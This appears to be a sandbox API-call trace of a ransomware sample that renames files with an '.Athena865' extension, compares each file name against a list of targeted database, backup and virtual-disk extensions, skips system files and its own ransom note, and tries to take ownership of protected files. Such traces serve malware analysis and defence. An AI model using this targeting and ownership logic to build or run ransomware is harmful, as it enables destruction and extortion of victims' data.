lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.106] lstrlenW (lpString="dqy") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.106] lstrlenW (lpString="dsk") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.106] lstrlenW (lpString="dsn") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.106] lstrlenW (lpString="dtsx") returned 4 [0035.106] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.106] lstrlenW (lpString="dxl") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.106] lstrlenW (lpString="eco") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.106] lstrlenW (lpString="ecx") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.106] lstrlenW (lpString="edb") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.106] lstrlenW (lpString="epim") returned 4 [0035.106] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.106] lstrlenW (lpString="fcd") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.106] lstrlenW (lpString="fdb") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.106] lstrlenW (lpString="fic") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.106] lstrlenW (lpString="flexolibrary") returned 12 [0035.106] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.106] lstrlenW (lpString="fm5") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.106] lstrlenW (lpString="fmp") returned 3 [0035.106] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.106] lstrlenW (lpString="fmp12") returned 5 [0035.106] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.106] lstrlenW (lpString="fmpsl") returned 5 [0035.107] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.107] lstrlenW (lpString="fol") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.107] lstrlenW (lpString="fp3") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.107] lstrlenW (lpString="fp4") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.107] lstrlenW (lpString="fp5") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.107] lstrlenW (lpString="fp7") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.107] lstrlenW (lpString="fpt") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.107] lstrlenW (lpString="frm") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.107] lstrlenW (lpString="gdb") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.107] lstrlenW (lpString="gdb") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.107] lstrlenW (lpString="grdb") returned 4 [0035.107] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.107] lstrlenW (lpString="gwi") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.107] lstrlenW (lpString="hdb") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.107] lstrlenW (lpString="his") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.107] lstrlenW (lpString="ib") returned 2 [0035.107] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.107] lstrlenW (lpString="idb") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.107] lstrlenW (lpString="ihx") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.107] lstrlenW (lpString="itdb") returned 4 [0035.107] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.107] lstrlenW (lpString="itw") returned 3 [0035.107] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.108] lstrlenW (lpString="jet") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.108] lstrlenW (lpString="jtx") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.108] lstrlenW (lpString="kdb") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.108] lstrlenW (lpString="kexi") returned 4 [0035.108] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.108] lstrlenW (lpString="kexic") returned 5 [0035.108] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.108] lstrlenW (lpString="kexis") returned 5 [0035.108] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.108] lstrlenW (lpString="lgc") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.108] lstrlenW (lpString="lwx") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.108] lstrlenW (lpString="maf") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.108] lstrlenW (lpString="maq") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.108] lstrlenW (lpString="mar") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.108] lstrlenW (lpString="marshal") returned 7 [0035.108] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.108] lstrlenW (lpString="mas") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.108] lstrlenW (lpString="mav") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.108] lstrlenW (lpString="maw") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.108] lstrlenW (lpString="mdbhtml") returned 7 [0035.108] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.108] lstrlenW (lpString="mdn") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.108] lstrlenW (lpString="mdt") returned 3 [0035.108] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.108] lstrlenW (lpString="mfd") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.109] lstrlenW (lpString="mpd") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.109] lstrlenW (lpString="mrg") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.109] lstrlenW (lpString="mud") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.109] lstrlenW (lpString="mwb") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.109] lstrlenW (lpString="myd") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.109] lstrlenW (lpString="ndf") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.109] lstrlenW (lpString="nnt") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.109] lstrlenW (lpString="nrmlib") returned 6 [0035.109] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.109] lstrlenW (lpString="ns2") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.109] lstrlenW (lpString="ns3") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.109] lstrlenW (lpString="ns4") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.109] lstrlenW (lpString="nsf") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.109] lstrlenW (lpString="nv") returned 2 [0035.109] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.109] lstrlenW (lpString="nv2") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.109] lstrlenW (lpString="nwdb") returned 4 [0035.109] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.109] lstrlenW (lpString="nyf") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.109] lstrlenW (lpString="odb") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.109] lstrlenW (lpString="odb") returned 3 [0035.109] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.109] lstrlenW (lpString="oqy") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.110] lstrlenW (lpString="ora") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.110] lstrlenW (lpString="orx") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.110] lstrlenW (lpString="owc") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.110] lstrlenW (lpString="p96") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.110] lstrlenW (lpString="p97") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.110] lstrlenW (lpString="pan") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.110] lstrlenW (lpString="pdb") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.110] lstrlenW (lpString="pdm") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.110] lstrlenW (lpString="pnz") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.110] lstrlenW (lpString="qry") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.110] lstrlenW (lpString="qvd") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.110] lstrlenW (lpString="rbf") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.110] lstrlenW (lpString="rctd") returned 4 [0035.110] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.110] lstrlenW (lpString="rod") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.110] lstrlenW (lpString="rodx") returned 4 [0035.110] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.110] lstrlenW (lpString="rpd") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.110] lstrlenW (lpString="rsd") returned 3 [0035.110] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.110] lstrlenW (lpString="sas7bdat") returned 8 [0035.110] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.111] lstrlenW (lpString="sbf") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.111] lstrlenW (lpString="scx") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.111] lstrlenW (lpString="sdb") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.111] lstrlenW (lpString="sdc") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.111] lstrlenW (lpString="sdf") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.111] lstrlenW (lpString="sis") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.111] lstrlenW (lpString="spq") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.111] lstrlenW (lpString="te") returned 2 [0035.111] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.111] lstrlenW (lpString="teacher") returned 7 [0035.111] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.111] lstrlenW (lpString="tmd") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.111] lstrlenW (lpString="tps") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.111] lstrlenW (lpString="trc") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.111] lstrlenW (lpString="trc") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.111] lstrlenW (lpString="trm") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.111] lstrlenW (lpString="udb") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.111] lstrlenW (lpString="udl") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.111] lstrlenW (lpString="usr") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.111] lstrlenW (lpString="v12") returned 3 [0035.111] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.111] lstrlenW (lpString="vis") returned 3 [0035.112] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.112] lstrlenW (lpString="vpd") returned 3 [0035.112] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.112] lstrlenW (lpString="vvv") returned 3 [0035.112] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.112] lstrlenW (lpString="wdb") returned 3 [0035.112] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.112] lstrlenW (lpString="wmdb") returned 4 [0035.112] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.112] lstrlenW (lpString="wrk") returned 3 [0035.112] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.112] lstrlenW (lpString="xdb") returned 3 [0035.112] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.112] lstrlenW (lpString="xld") returned 3 [0035.112] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.112] lstrlenW (lpString="xmlff") returned 5 [0035.112] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.112] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.112] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.112] GetLastError () returned 0x5 [0035.112] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.112] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.112] SetEntriesInAclW () returned 0x0 [0035.112] SetNamedSecurityInfoW () returned 0x5 [0035.112] SetNamedSecurityInfoW () returned 0x5 [0035.113] LocalFree (hMem=0x529490) returned 0x0 [0035.113] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.113] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.113] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x570 [0035.113] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.113] CloseHandle (hObject=0x154) returned 1 [0035.114] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.114] CloseHandle (hObject=0x0) returned 0 [0035.114] CloseHandle (hObject=0x0) returned 0 [0035.114] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x769ca180, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x769ca180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x769ca180, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{38088~1")) returned 1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.114] lstrlenW (lpString="{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 38 [0035.114] lstrcpyW (in: lpString1=0x241e882, lpString2="{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.114] lstrlenW (lpString="{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 38 [0035.114] lstrlenW (lpString="Athena865") returned 9 [0035.114] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.114] lstrlenW (lpString=".dll") returned 4 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.114] lstrlenW (lpString=".lnk") returned 4 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.114] lstrlenW (lpString=".ini") returned 4 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.114] lstrlenW (lpString=".sys") returned 4 [0035.114] lstrcmpiW (lpString1="{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.115] lstrlenW (lpString="{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 38 [0035.115] lstrlenW (lpString="bak") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.115] lstrlenW (lpString="ba_") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.115] lstrlenW (lpString="dbb") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.115] lstrlenW (lpString="vmdk") returned 4 [0035.115] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.115] lstrlenW (lpString="rar") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.115] lstrlenW (lpString="zip") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.115] lstrlenW (lpString="tgz") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.115] lstrlenW (lpString="vbox") returned 4 [0035.115] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.115] lstrlenW (lpString="vdi") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.115] lstrlenW (lpString="vhd") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.115] lstrlenW (lpString="vhdx") returned 4 [0035.115] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.115] lstrlenW (lpString="avhd") returned 4 [0035.115] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.115] lstrlenW (lpString="db") returned 2 [0035.115] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.115] lstrlenW (lpString="db2") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.115] lstrlenW (lpString="db3") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.115] lstrlenW (lpString="dbf") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.115] lstrlenW (lpString="mdf") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.115] lstrlenW (lpString="mdb") returned 3 [0035.115] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.115] lstrlenW (lpString="sql") returned 3 [0035.116] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.116] lstrlenW (lpString="sqlite") returned 6 [0035.116] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.116] lstrlenW (lpString="sqlite3") returned 7 [0035.116] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.116] lstrlenW (lpString="sqlitedb") returned 8 [0035.116] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.116] lstrlenW (lpString="xml") returned 3 [0035.116] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.116] lstrlenW (lpString="$er") returned 3 [0035.116] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.116] lstrlenW (lpString="4dd") returned 3 [0035.116] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.116] lstrlenW (lpString="4dl") returned 3 [0035.116] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.116] lstrlenW (lpString="^^^") returned 3 [0035.116] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.116] lstrlenW (lpString="abs") returned 3 [0035.116] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.116] lstrlenW (lpString="abx") returned 3 [0035.116] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.116] lstrlenW (lpString="accdb") returned 5 [0035.116] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.116] lstrlenW (lpString="accdc") returned 5 [0035.116] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.116] lstrlenW (lpString="accde") returned 5 [0035.116] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.116] lstrlenW (lpString="accdr") returned 5 [0035.116] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.116] lstrlenW (lpString="accdt") returned 5 [0035.116] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.116] lstrlenW (lpString="accdw") returned 5 [0035.116] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.116] lstrlenW (lpString="accft") returned 5 [0035.116] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.116] lstrlenW (lpString="adb") returned 3 [0035.116] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.116] lstrlenW (lpString="adb") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.117] lstrlenW (lpString="ade") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.117] lstrlenW (lpString="adf") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.117] lstrlenW (lpString="adn") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.117] lstrlenW (lpString="adp") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.117] lstrlenW (lpString="alf") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.117] lstrlenW (lpString="ask") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.117] lstrlenW (lpString="btr") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.117] lstrlenW (lpString="cat") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.117] lstrlenW (lpString="cdb") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.117] lstrlenW (lpString="ckp") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.117] lstrlenW (lpString="cma") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.117] lstrlenW (lpString="cpd") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.117] lstrlenW (lpString="dacpac") returned 6 [0035.117] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.117] lstrlenW (lpString="dad") returned 3 [0035.117] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.117] lstrlenW (lpString="dadiagrams") returned 10 [0035.117] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.117] lstrlenW (lpString="daschema") returned 8 [0035.117] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.117] lstrlenW (lpString="db-journal") returned 10 [0035.117] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.156] lstrlenW (lpString="db-shm") returned 6 [0035.156] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.156] lstrlenW (lpString="db-wal") returned 6 [0035.156] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.156] lstrlenW (lpString="dbc") returned 3 [0035.156] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.156] lstrlenW (lpString="dbs") returned 3 